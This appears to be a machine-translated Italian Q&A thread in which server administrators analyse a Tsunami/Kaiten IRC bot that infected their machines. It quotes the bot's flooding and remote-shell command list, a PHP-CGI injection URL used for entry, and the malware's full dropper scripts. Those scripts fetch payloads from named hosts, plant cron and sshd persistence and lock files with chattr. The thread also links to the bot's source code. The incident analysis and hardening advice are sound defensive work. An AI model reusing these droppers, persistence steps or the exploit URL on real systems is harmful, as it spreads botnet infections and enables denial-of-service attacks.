SecureShellz è un virus bot? Come funziona?

Invia una mail al tuo sysadmin (devi contattare qualcuno sopra di te) o mandalo direttamente al CIO, se devi convincerlo, spiega cosa hai trovato e allega questa parte del file "ac", che dovrebbe essere sufficiente:

* There are a number of commands that can be sent to the client:              *
*       TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
*       PAN <target> <port> <secs>    = A SYN flooder                         *
*       UDP <target> <port> <secs>    = An UDP flooder                        *
*       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
*       NICK <nick>                   = Changes the nick of the client        *
*       SERVER <server>               = Changes servers                       *
*       GETSPOOFS                     = Gets the current spoofing             *
*       SPOOFS <subnet>               = Changes spoofing to a subnet          *
*       DISABLE                       = Disables all packeting from this bot  *
*       ENABLE                        = Enables all packeting from this bot   *
*       KILL                          = Kills the knight                      *
*       GET <http address> <save as>  = Downloads a file off the web          *
*       VERSION                       = Requests version of knight            *
*       KILLALL                       = Kills all current packeting           *
*       HELP                          = Displays this                         *
*       IRC <command>                 = Sends this command to the server      *
*       SH <command>                  = Executes a command                    *
* Remember, all these commands must be prefixed by a ! and the nickname that  *
* you want the command to be sent to (can include wildcards). There are no    *
* spaces in between the ! and the nickname, and there are no spaces before    *
* the !                                                                       *
*                                                                             *
*                               - contem on efnet                             *

Ecco alcuni riferimenti a questa particolare backdoor:
- link
- link

Non riesco a trovare alcun reverse engineering di questo malware, mi dispiace.

Anche un server di cui sono stato segnalato è stato infettato da questo. Sembra che stia iniettando il suo lavoro crontab attraverso uno script php caricato tramite un cgi-bin/php exploit.

/cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input

Non sono abbastanza sicuro di come funzioni, ma da quello che posso dire, è in esecuzione uno script php dall'input del client, ma non posso replicarlo con netcat , forse sto facendo qualcosa di sbagliato lì.

Una volta che lo script php ha creato il cronjob, quindi di domenica (o ogni volta che si avvia la settimana) si collegherà al C & C per ottenere lo script. Il tuo server ha richiesto questo script, fortunatamente il server per il quale mi è stato segnalato non è stato infettato in tempo per C&C , tuttavia, tale IP restituito dai registri sembra che stia eseguendo un numero di servizi.

Gli interessanti sono i seguenti. (Ho riportato l'IP su projecthoneypot.org)

host          port  proto  name         state     info
----          ----  -----  ----         -----     ----
123.30.84.61  22    tcp    ssh          open      OpenSSH 4.3 protocol 2.0
123.30.84.61  111   tcp    rpcbind      open      2 RPC #100000
123.30.84.61  1098  tcp    rmiregistry  open      Java RMI
123.30.84.61  1099  tcp    ovm-manager  open      Oracle VM Manager
123.30.84.61  3306  tcp    mysql        open      MySQL unauthorized
123.30.84.61  4445  tcp    ovm-manager  open      Oracle VM Manager
123.30.84.61  8083  tcp    http         open      Bluecat Networks Proteus IPAM or Enterasys Dragon IDS http config

Per quello che possiamo vedere - c'è un IDS? Oracle VM manager con MySQL (non Oracle). La porta 80 non è aperta, quindi C & C è "offline".

Dal sito projecthoneypot.org , è chiaro che questo utente malintenzionato sta tentando di inviare spam viagra dal tuo IP. Potrebbe non esserci ma le probabilità stanno valutando che è quello che hanno fatto dal loro stesso IP. Tuttavia, con Oracle VM manager , non sono sicuro se si tratta di un utente malintenzionato direttamente o di un host VM da cui l'autore dell'attacco sta liscivia. Ciò potrebbe significare che questi attacchi non sono correlati a viagra spam .

Grazie per lo script che hai inserito nella tua domanda, questo è stato utile per controllare attraverso il server che ho ispezionato è stato un successo sicuro perché l'host non era una risposta su port 80 al momento. Fortunatamente in questo caso.

Suggerisco di registrare tutto il traffico sul tuo server con una cattura di pacchetti completa, se il tuo amministratore di sistema non ha lo spazio di archiviazione (può richiedere molto rapidamente) ci sono servizi cloud online per questo scopo. Ciò consentirebbe a te e al sysadmin di vedere cosa succede quando si suppone che un hacker entri nel tuo server. Inoltre, come suggerimento, proteggi la password o disattiva cgi-bin se possibile, ho visto troppi exploit nel corso degli anni rivolti a script standard in là.

Che cosa stai facendo sul server?

Che cosa dicono i registri quando cerchi "123.30.84.61" o "stablehost.us" ?

A causa del fatto che il server che ospita questi file C è inattivo, se ti capita di avere una copia, potresti caricare da qualche parte che potrei recuperarli?

NOTA: I JUST ho notato dopo aver scritto tutto questo che si tratta delle notizie degli ultimi anni ... Oh beh, sono sicuro che altre persone troveranno questo utile.

Aggiornamento: Come per la risposta accettata, non ho accesso a quel codice, ma senza dubbio se questo attacco è stato rilanciato in questo modo, non mi aspetto che il codice sia lo stesso.

Anche se la domanda è piuttosto vecchia e l'attacco è cambiato, la fonte è la stessa

Sono stato colpito dalla nuova versione di questo (e stablehost è la parola chiave di collegamento qui, ancora qui anni dopo che l'OP ha chiesto), uno dei server che ho gestito (gentoo hardened, strong grsec config) è stato compromesso, la maggior parte probabilmente da shellshock.

Per chi fosse interessato, ho trovato il codice sorgente:

perl, this one is an IRC bot : 
http://205.237.100.171/manual/pb
also on pastebin : http://pastebin.com/NN42LJ0z

C , this one will create the init script:
http://205.237.100.171/manual/a.c
also on pastebin : http://pastebin.com/8PgTjhyb

init code : 
http://205.237.100.171/manual/init
also on http://pastebin.com/HyUUfn6S

è un po 'di codice (bash, C, perl e python) e non lo copio tutto qui, ma il codice di base è quello di init, costruito dal codice C:

gcc -o /tmp/init /tmp/a.c;
/tmp/init;
rm -rf /tmp/a.c /tmp/init;
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
crontab /tmp/c;
rm -rf /tmp/c;
chattr +isa /var/spool/cron/tabs/root;
chattr +isa /var/spool/cron/tabs;
echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
chmod +x /etc/cron.weekly/00logrotate;
chattr +isa /etc/cron.weekly/00logrotate;
#rm /usr/bin/chattr;
kill -9 'ps -aux|grep perl|awk {'print $2'}';

e un'altra (più evoluta sembra) versione di questo init:

echo "nameserver 4.2.2.2" >> /etc/resolve.conf;
sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/rc.d/init.d/sshd;
sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/init.d/ssh;
wget http://205.237.100.171/manual/b -O /tmp/init;
wget http://205.237.100.171/manual/arm -O /tmp/arm;
wget http://205.237.100.171/manual/mipsel1 -O /tmp/mips
chmod +x /tmp/arm /tmp/init /tmp/mips
curl -o /tmp/init http://205.237.100.171/manual/b;
wget http://205.237.100.171/manual/a.c -O /tmp/a.c;
curl -o /tmp/a.c http://205.237.100.171/manual/a.c;
gcc -o /tmp/init /tmp/a.c;
/tmp/init;
rm -rf /tmp/a.c /tmp/init;
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
crontab /tmp/c;
rm -rf /tmp/c;
chattr +isa /var/spool/cron/tabs/root;
chattr +isa /var/spool/cron/tabs;
echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
chmod +x /etc/cron.weekly/00logrotate;
chattr +isa /etc/cron.weekly/00logrotate;
#rm /usr/bin/chattr;
kill -9 'ps -aux|grep perl|awk {'print $2'}';

per questa recente ondata di attacchi shellshock / tsunami / kaiten, vedi anche link per ulteriori spiegazioni

modifica: appena trovato un altro ottimo post di spiegazione da cloudflare: link

vedi anche: link

il server che ho potuto analizzare è stato usato per un flood di udp contro XXXX, il mio firewall ha bloccato buona parte dell'attacco in uscita, ma la maggior parte di udpflood potrebbe uscire

Oct 23 08:05:36 myname kernel: Shorewall:all2all:REJECT:IN= OUT=eth0
SRC=me DST=target LEN=9244 TOS=0x00 PREC=0x00 T
TL=64 ID=15736 PROTO=UDP SPT=41912 DPT=61587 LEN=9224

è la parte dell'attacco in uscita che potrei bloccare con la mia configurazione in uscita shorewall, solo il datacenter online.net ha più informazioni sul tipo di alluvione che potrebbe uscire (non ho registri su quei pacchetti e online.net ha dato non ho dettagli) passare il mio firewall, non volevano darmi alcun dettaglio.